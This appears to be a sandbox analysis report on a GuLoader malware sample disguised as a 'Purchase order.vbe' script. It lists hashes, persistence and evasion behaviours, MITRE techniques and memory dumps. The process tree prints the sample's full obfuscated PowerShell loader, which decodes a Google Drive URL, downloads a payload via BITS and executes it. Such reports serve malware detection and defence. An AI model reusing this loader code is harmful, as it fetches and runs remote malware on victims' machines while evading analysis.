guloader | 19414e87fa7d0c6264b94810039b0465efd408d65efa70f62e9a8ec5ea8f222e

Analysis

max time kernel
150s
max time network
152s
platform
windows10-2004_x64
resource
win10v2004-20230220-en
resource tags

arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system
submitted
28-03-2023 17:46

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General

Target

Purchase order.vbe
Size

13KB
MD5

496ff1fed502e29c071482cb102610c9
SHA1

6f5687c69e8ca873e26f1ee6b10d0ac8d1bbbb90
SHA256

19414e87fa7d0c6264b94810039b0465efd408d65efa70f62e9a8ec5ea8f222e
SHA512

829dfd71bd579be926e6cde629916868f63d18a2a9238c5362b0785b28fa21c31551fd3b78561d8fec2409d2acf2a96cb2beb242ad877f060311388d585cf2bb
SSDEEP

192:o9Al45haj3WuQYv5IdbcBoqEmeZx1zxqNklStddP93YBn/w7c0O23N/rgjKmrF:o9Z7Mvyl+NqZYNdtp30I/xmZ

Score

10^/10

guloader downloader persistence

Malware Config

Signatures

Guloader,Cloudeye
A shellcode based downloader first seen in 2020.
downloader guloader

Adds policy Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Key created	\Registry\User\S-1-5-21-4238149048-355649189-894321705-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run	NETSTAT.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-4238149048-355649189-894321705-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\6XJX5FYHT = "C:\\Program Files (x86)\\internet explorer\\ieinstal.exe"	NETSTAT.EXE

Checks QEMU agent file 2 TTPs 2 IoCs

Checks presence of QEMU agent, possibly to detect virtualization.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	C:\Program Files\Qemu-ga\qemu-ga.exe	powershell.exe
File opened (read-only)	C:\Program Files\Qemu-ga\qemu-ga.exe	ieinstal.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-4238149048-355649189-894321705-1000\Control Panel\International\Geo\Nation	WScript.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Key created	\Registry\User\S-1-5-21-4238149048-355649189-894321705-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run	NETSTAT.EXE

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

pid	Process
3680	ieinstal.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
1404	powershell.exe
3680	ieinstal.exe

Suspicious use of SetThreadContext 3 IoCs

description	pid	Process	procid_target
PID 1404 set thread context of 3680	1404	powershell.exe	98
PID 3680 set thread context of 3104	3680	ieinstal.exe	51
PID 4696 set thread context of 3104	4696	NETSTAT.EXE	51

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
2072	3828	WerFault.exe	100

Gathers network information 2 TTPs 1 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command-Line Interface

T1059

pid	Process
4696	NETSTAT.EXE

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\Registry\User\S-1-5-21-4238149048-355649189-894321705-1000\SOFTWARE\Microsoft\Internet Explorer\IntelliForms\Storage2	NETSTAT.EXE

Suspicious behavior: EnumeratesProcesses 26 IoCs

pid	Process
3280	powershell.exe
3280	powershell.exe
1404	powershell.exe
1404	powershell.exe
3680	ieinstal.exe
3680	ieinstal.exe
3680	ieinstal.exe
3680	ieinstal.exe
3680	ieinstal.exe
3680	ieinstal.exe
3680	ieinstal.exe
3680	ieinstal.exe
4696	NETSTAT.EXE
4696	NETSTAT.EXE
4696	NETSTAT.EXE
4696	NETSTAT.EXE
4696	NETSTAT.EXE
4696	NETSTAT.EXE
4696	NETSTAT.EXE
4696	NETSTAT.EXE
4696	NETSTAT.EXE
4696	NETSTAT.EXE
4696	NETSTAT.EXE
4696	NETSTAT.EXE
4696	NETSTAT.EXE
4696	NETSTAT.EXE

Suspicious behavior: MapViewOfSection 8 IoCs

pid	Process
1404	powershell.exe
3680	ieinstal.exe
3680	ieinstal.exe
3680	ieinstal.exe
4696	NETSTAT.EXE
4696	NETSTAT.EXE
4696	NETSTAT.EXE
4696	NETSTAT.EXE

Suspicious use of AdjustPrivilegeToken 6 IoCs

description	pid	Process
Token: SeDebugPrivilege	3280	powershell.exe
Token: SeDebugPrivilege	1404	powershell.exe
Token: SeDebugPrivilege	3680	ieinstal.exe
Token: SeDebugPrivilege	4696	NETSTAT.EXE
Token: SeShutdownPrivilege	3104	Explorer.EXE
Token: SeCreatePagefilePrivilege	3104	Explorer.EXE

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 4972 wrote to memory of 3280	4972	WScript.exe	84
PID 4972 wrote to memory of 3280	4972	WScript.exe	84
PID 3280 wrote to memory of 1404	3280	powershell.exe	86
PID 3280 wrote to memory of 1404	3280	powershell.exe	86
PID 3280 wrote to memory of 1404	3280	powershell.exe	86
PID 1404 wrote to memory of 3680	1404	powershell.exe	98
PID 1404 wrote to memory of 3680	1404	powershell.exe	98
PID 1404 wrote to memory of 3680	1404	powershell.exe	98
PID 1404 wrote to memory of 3680	1404	powershell.exe	98
PID 3104 wrote to memory of 4696	3104	Explorer.EXE	99
PID 3104 wrote to memory of 4696	3104	Explorer.EXE	99
PID 3104 wrote to memory of 4696	3104	Explorer.EXE	99
PID 4696 wrote to memory of 3828	4696	NETSTAT.EXE	100
PID 4696 wrote to memory of 3828	4696	NETSTAT.EXE	100
PID 4696 wrote to memory of 3828	4696	NETSTAT.EXE	100

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3104
- C:\Windows\System32\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Purchase order.vbe"
  2⤵
  - Checks computer location settings
  - Suspicious use of WriteProcessMemory
  PID:4972
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "Function Amfib9 ([String]$Trymovar){For($Lekti=1; $Lekti -lt $Trymovar.Length-1; $Lekti+=(1+1)){$Stol=$Stol+$Trymovar.Substring($Lekti, 1)};$Stol;}$Problemls=Amfib9 ' h tTtSpTs : / /Kd rPi v eB. gNo oCgCl eV. cBoEmU/SuTcO?NeBxAp oDr t =CdtoBwMnRl oPaId & iTdL=A1AdUGG5 wVo TAwKpak M vGjiY IspMj E pLF OlAFRL2Fi RAQ lRRK6TNaGKp ';$Stol01=Amfib9 'biGeMxR ';$vrge = Amfib9 ' \Bsvy sEw oSwH6R4E\ WFiFnSdPoBw sNPHoIwOeMr S hNeLl lW\BvL1T. 0C\Up oSw eRrPsUhfeBlNl .SeRxCe ';.($Stol01) (Amfib9 ' $MNLa gGa lAoUkuaS2M=s$Se n v : wSi n dOiRr ') ;.($Stol01) (Amfib9 'V$Sv r g e =f$jNSa gNaLl o kCaO2 + $PvPr gieT ') ;.($Stol01) (Amfib9 ' $BB acsRcKhI T=C (R( g wTm iA w i nS3 2L_Mp r oMc erscsS -GFR DP rCoDcSeOsTs ICd = $V{ P IGDU}T)S.QCEoKmBm a n d L i nAeW) I- slpIlFi tW [ c hOa r ] 3 4R ');.($Stol01) (Amfib9 'U$ M lNk eJv e =U $LBBa s c h [ $MB alsGcThP.ic oBuPnKt -F2 ]B ');.($Stol01) (Amfib9 'p$BF o rMlR=U(MT eKs t - PBaUtGhU $ v rSgNeL) t- AOnUd r( [TILn t P tIrM]U: : sSi zCe U-He q S8 ) ') ;if ($Forl) {.$vrge $Mlkeve;} else {;$Stol00=Amfib9 'HSBtSaYrHt - BsiFtDsOTTrVaAnFs f e r P-DS o uOr cBe $ PKrKoRbslAe m lDsB - Dpe sBt i n aKtUi o n $ N aUg aElEo k aS2S ';.($Stol01) (Amfib9 'L$TN aIg aBl o kMaL2d=E$Ee n v : a pypFdDa tAaI ') ;.($Stol01) (Amfib9 ' I m p oGrRtb-GM oLdguSlBeS HBNi tTsBTGrAaZnAs fMeTr ') ;$Nagaloka2=$Nagaloka2+'\spek.Non';while (-not $Pale) {.($Stol01) (Amfib9 ' $TPEaGlBe =S(CT eFs tU-VPWa tKhu $BN aRgBaJl oVkCaP2 )b ') ;.($Stol01) $Stol00;.($Stol01) (Amfib9 ' S tJa rPtC-BS l e e pK 5S ');}.($Stol01) (Amfib9 'M$BA mBfPiKbb =T GNe tC- CPo nAtAehn tT $ N aTgTaLlKoUkRaF2S ');.($Stol01) (Amfib9 'O$WBUa cBcPa e mGosb 1 4P2K O=C D[bSDy s tRe mI.RCEoAn v eAr tS] : :EFbr o m BFaGs e 6K4nS t rUiDnSg (I$NA mCfKiOb ) ');.($Stol01) (Amfib9 ' $ S t onl 2 c= [VSAy sEt e m .FTReDx tK.sEUn c oBd i n gF]V:S: AMS CIIDId. GSest SktCrMi nwg (V$ B atc cCaLe m oZbC1 4 2A) ');.($Stol01) (Amfib9 ' $Mu nRdIiKsosKoFnNaH= $OS t o lp2 .SsTuSbMsGt rIiJnAg ( 1B8 8O1 8O6S,E2D0U3 7 3U)O ');.($Stol01) $undissona;}"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3280
  - - C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "Function Amfib9 ([String]$Trymovar){For($Lekti=1; $Lekti -lt $Trymovar.Length-1; $Lekti+=(1+1)){$Stol=$Stol+$Trymovar.Substring($Lekti, 1)};$Stol;}$Problemls=Amfib9 ' h tTtSpTs : / /Kd rPi v eB. gNo oCgCl eV. cBoEmU/SuTcO?NeBxAp oDr t =CdtoBwMnRl oPaId & iTdL=A1AdUGG5 wVo TAwKpak M vGjiY IspMj E pLF OlAFRL2Fi RAQ lRRK6TNaGKp ';$Stol01=Amfib9 'biGeMxR ';$vrge = Amfib9 ' \Bsvy sEw oSwH6R4E\ WFiFnSdPoBw sNPHoIwOeMr S hNeLl lW\BvL1T. 0C\Up oSw eRrPsUhfeBlNl .SeRxCe ';.($Stol01) (Amfib9 ' $MNLa gGa lAoUkuaS2M=s$Se n v : wSi n dOiRr ') ;.($Stol01) (Amfib9 'V$Sv r g e =f$jNSa gNaLl o kCaO2 + $PvPr gieT ') ;.($Stol01) (Amfib9 ' $BB acsRcKhI T=C (R( g wTm iA w i nS3 2L_Mp r oMc erscsS -GFR DP rCoDcSeOsTs ICd = $V{ P IGDU}T)S.QCEoKmBm a n d L i nAeW) I- slpIlFi tW [ c hOa r ] 3 4R ');.($Stol01) (Amfib9 'U$ M lNk eJv e =U $LBBa s c h [ $MB alsGcThP.ic oBuPnKt -F2 ]B ');.($Stol01) (Amfib9 'p$BF o rMlR=U(MT eKs t - PBaUtGhU $ v rSgNeL) t- AOnUd r( [TILn t P tIrM]U: : sSi zCe U-He q S8 ) ') ;if ($Forl) {.$vrge $Mlkeve;} else {;$Stol00=Amfib9 'HSBtSaYrHt - BsiFtDsOTTrVaAnFs f e r P-DS o uOr cBe $ PKrKoRbslAe m lDsB - Dpe sBt i n aKtUi o n $ N aUg aElEo k aS2S ';.($Stol01) (Amfib9 'L$TN aIg aBl o kMaL2d=E$Ee n v : a pypFdDa tAaI ') ;.($Stol01) (Amfib9 ' I m p oGrRtb-GM oLdguSlBeS HBNi tTsBTGrAaZnAs fMeTr ') ;$Nagaloka2=$Nagaloka2+'\spek.Non';while (-not $Pale) {.($Stol01) (Amfib9 ' $TPEaGlBe =S(CT eFs tU-VPWa tKhu $BN aRgBaJl oVkCaP2 )b ') ;.($Stol01) $Stol00;.($Stol01) (Amfib9 ' S tJa rPtC-BS l e e pK 5S ');}.($Stol01) (Amfib9 'M$BA mBfPiKbb =T GNe tC- CPo nAtAehn tT $ N aTgTaLlKoUkRaF2S ');.($Stol01) (Amfib9 'O$WBUa cBcPa e mGosb 1 4P2K O=C D[bSDy s tRe mI.RCEoAn v eAr tS] : :EFbr o m BFaGs e 6K4nS t rUiDnSg (I$NA mCfKiOb ) ');.($Stol01) (Amfib9 ' $ S t onl 2 c= [VSAy sEt e m .FTReDx tK.sEUn c oBd i n gF]V:S: AMS CIIDId. GSest SktCrMi nwg (V$ B atc cCaLe m oZbC1 4 2A) ');.($Stol01) (Amfib9 ' $Mu nRdIiKsosKoFnNaH= $OS t o lp2 .SsTuSbMsGt rIiJnAg ( 1B8 8O1 8O6S,E2D0U3 7 3U)O ');.($Stol01) $undissona;}"
      4⤵
      Checks QEMU agent file
      Suspicious use of NtSetInformationThreadHideFromDebugger
      Suspicious use of SetThreadContext
      Suspicious behavior: EnumeratesProcesses
      Suspicious behavior: MapViewOfSection
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:1404
    - - C:\Program Files (x86)\internet explorer\ieinstal.exe
        
        "C:\Program Files (x86)\internet explorer\ieinstal.exe"
        5⤵
        Checks QEMU agent file
        Suspicious use of NtCreateThreadExHideFromDebugger
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious use of SetThreadContext
        Suspicious behavior: EnumeratesProcesses
        Suspicious behavior: MapViewOfSection
        Suspicious use of AdjustPrivilegeToken
        
        PID:3680
- C:\Windows\SysWOW64\NETSTAT.EXE
  "C:\Windows\SysWOW64\NETSTAT.EXE"
  2⤵
  - Adds policy Run key to start application
  - Adds Run key to start application
  - Suspicious use of SetThreadContext
  - Gathers network information
  - Modifies Internet Explorer settings
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4696
- - C:\Program Files\Mozilla Firefox\Firefox.exe
    "C:\Program Files\Mozilla Firefox\Firefox.exe"
    3⤵
    PID:3828
  - - C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -u -p 3828 -s 120
      4⤵
      Program crash
      PID:2072

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -pss -s 448 -p 3828 -ip 3828
1⤵
PID:3640

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Command-Line Interface

T1059

Persistence

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Web Service

T1102

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_lk0dj0z5.1rw.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1404-173-0x0000000007C50000-0x0000000007C64000-memory.dmp

Filesize
80KB

Download
memory/1404-169-0x0000000008920000-0x0000000008EC4000-memory.dmp

Filesize
5.6MB

Download
memory/1404-175-0x0000000005290000-0x00000000052A0000-memory.dmp

Filesize
64KB

Download
memory/1404-174-0x0000000005290000-0x00000000052A0000-memory.dmp

Filesize
64KB

Download
memory/1404-147-0x0000000002D00000-0x0000000002D36000-memory.dmp

Filesize
216KB

Download
memory/1404-149-0x00000000058D0000-0x0000000005EF8000-memory.dmp

Filesize
6.2MB

Download
memory/1404-148-0x0000000005290000-0x00000000052A0000-memory.dmp

Filesize
64KB

Download
memory/1404-150-0x0000000005290000-0x00000000052A0000-memory.dmp

Filesize
64KB

Download
memory/1404-151-0x0000000005650000-0x0000000005672000-memory.dmp

Filesize
136KB

Download
memory/1404-152-0x0000000005800000-0x0000000005866000-memory.dmp

Filesize
408KB

Download
memory/1404-153-0x0000000005F00000-0x0000000005F66000-memory.dmp

Filesize
408KB

Download
memory/1404-163-0x00000000066A0000-0x00000000066BE000-memory.dmp

Filesize
120KB

Download
memory/1404-164-0x0000000005290000-0x00000000052A0000-memory.dmp

Filesize
64KB

Download
memory/1404-165-0x0000000007CF0000-0x000000000836A000-memory.dmp

Filesize
6.5MB

Download
memory/1404-166-0x0000000006BA0000-0x0000000006BBA000-memory.dmp

Filesize
104KB

Download
memory/1404-167-0x0000000007910000-0x00000000079A6000-memory.dmp

Filesize
600KB

Download
memory/1404-168-0x0000000006C80000-0x0000000006CA2000-memory.dmp

Filesize
136KB

Download
memory/1404-176-0x0000000005290000-0x00000000052A0000-memory.dmp

Filesize
64KB

Download
memory/1404-178-0x0000000008ED0000-0x000000000CE48000-memory.dmp

Filesize
63.5MB

Download
memory/1404-179-0x00000000083F0000-0x00000000083F1000-memory.dmp

Filesize
4KB

Download
memory/3104-202-0x00000000027C0000-0x0000000002897000-memory.dmp

Filesize
860KB

Download
memory/3104-215-0x0000000008140000-0x00000000081DE000-memory.dmp

Filesize
632KB

Download
memory/3104-210-0x0000000008140000-0x00000000081DE000-memory.dmp

Filesize
632KB

Download
memory/3280-139-0x000001D49D5B0000-0x000001D49D5D2000-memory.dmp

Filesize
136KB

Download
memory/3280-146-0x000001D49D5E0000-0x000001D49D5F0000-memory.dmp

Filesize
64KB

Download
memory/3280-172-0x000001D49D5E0000-0x000001D49D5F0000-memory.dmp

Filesize
64KB

Download
memory/3280-171-0x000001D49D5E0000-0x000001D49D5F0000-memory.dmp

Filesize
64KB

Download
memory/3280-170-0x000001D49D5E0000-0x000001D49D5F0000-memory.dmp

Filesize
64KB

Download
memory/3280-145-0x000001D49D5E0000-0x000001D49D5F0000-memory.dmp

Filesize
64KB

Download
memory/3280-144-0x000001D49D5E0000-0x000001D49D5F0000-memory.dmp

Filesize
64KB

Download
memory/3680-201-0x0000000000B80000-0x0000000000B90000-memory.dmp

Filesize
64KB

Download
memory/3680-207-0x0000000000400000-0x000000000062B000-memory.dmp

Filesize
2.2MB

Download
memory/3680-200-0x0000000020DC0000-0x000000002110A000-memory.dmp

Filesize
3.3MB

Download
memory/3680-195-0x0000000000E00000-0x0000000004D78000-memory.dmp

Filesize
63.5MB

Download
memory/3680-194-0x0000000000400000-0x000000000062B000-memory.dmp

Filesize
2.2MB

Download
memory/3680-180-0x0000000000E00000-0x0000000004D78000-memory.dmp

Filesize
63.5MB

Download
memory/3680-193-0x0000000000400000-0x000000000062B000-memory.dmp

Filesize
2.2MB

Download
memory/3680-198-0x0000000000400000-0x000000000062B000-memory.dmp

Filesize
2.2MB

Download
memory/3680-205-0x0000000000E00000-0x0000000004D78000-memory.dmp

Filesize
63.5MB

Download
memory/4696-206-0x0000000000420000-0x000000000044D000-memory.dmp

Filesize
180KB

Download
memory/4696-208-0x0000000000420000-0x000000000044D000-memory.dmp

Filesize
180KB

Download
memory/4696-209-0x0000000000C70000-0x0000000000FBA000-memory.dmp

Filesize
3.3MB

Download
memory/4696-204-0x00000000007F0000-0x00000000007FB000-memory.dmp

Filesize
44KB

Download
memory/4696-203-0x00000000007F0000-0x00000000007FB000-memory.dmp

Filesize
44KB

Download
memory/4696-211-0x00000000009A0000-0x0000000000A2F000-memory.dmp

Filesize
572KB

Download